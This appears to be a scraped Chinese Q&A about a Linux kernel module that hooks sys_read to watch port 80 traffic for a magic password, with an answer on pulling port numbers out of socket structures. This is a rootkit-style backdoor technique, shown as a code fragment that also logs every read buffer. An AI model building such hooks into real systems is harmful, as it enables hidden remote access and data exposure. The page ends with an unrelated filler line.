我正在编写一个 LKM 程序来 Hook sys_read
函数以重用 80 TCP 端口。但是我遇到一个问题是我不知道如何通过 inode
结构访问端口。有一部分是我的程序。
Linux.2.6.3.38
asmlinkage ssize_t new_read(unsigned int fd, void *buf, size_t count){
//printk("PID %d called sys_read !\n",current->pid);
char kbuf[MAX_BUF];
ssize_t ret;
struct file *file;
ret=orig_read(fd, buf, count);
memset(kbuf, 0,MAX_BUF);
memcpy(kbuf, buf, ret);
printk("kbuf:%s\n",kbuf);
if( memcmp(kbuf, passwd, strlen(passwd)) == 0 )
{
file = fget(fd);
if(file->f_dentry->d_inode->???? == PORT)
printk("get http message\n");
fput(file);
}
}
感谢您的回答。
您可以使用导出函数sock_from_file
从struct file
中获取socket
结构指针。
然后它被转换成一个tcp_sock
,其中包含一个inet_connection_sock
,其中包含一个inet_sock
,其中包含一个sock
(不要与包含 sock_common
的 socket
混淆)。这两个端口号最终存储在 inet_sock
和 sock_common
中(好吧,这就是它在最新内核版本中的工作方式)。
以可靠的方式利用这些事实是很困难的。所有这些的布局和组织都与内核版本密切相关,当然文件描述符实际上代表一个连接的 TCP 套接字。
我是一名优秀的程序员,十分优秀!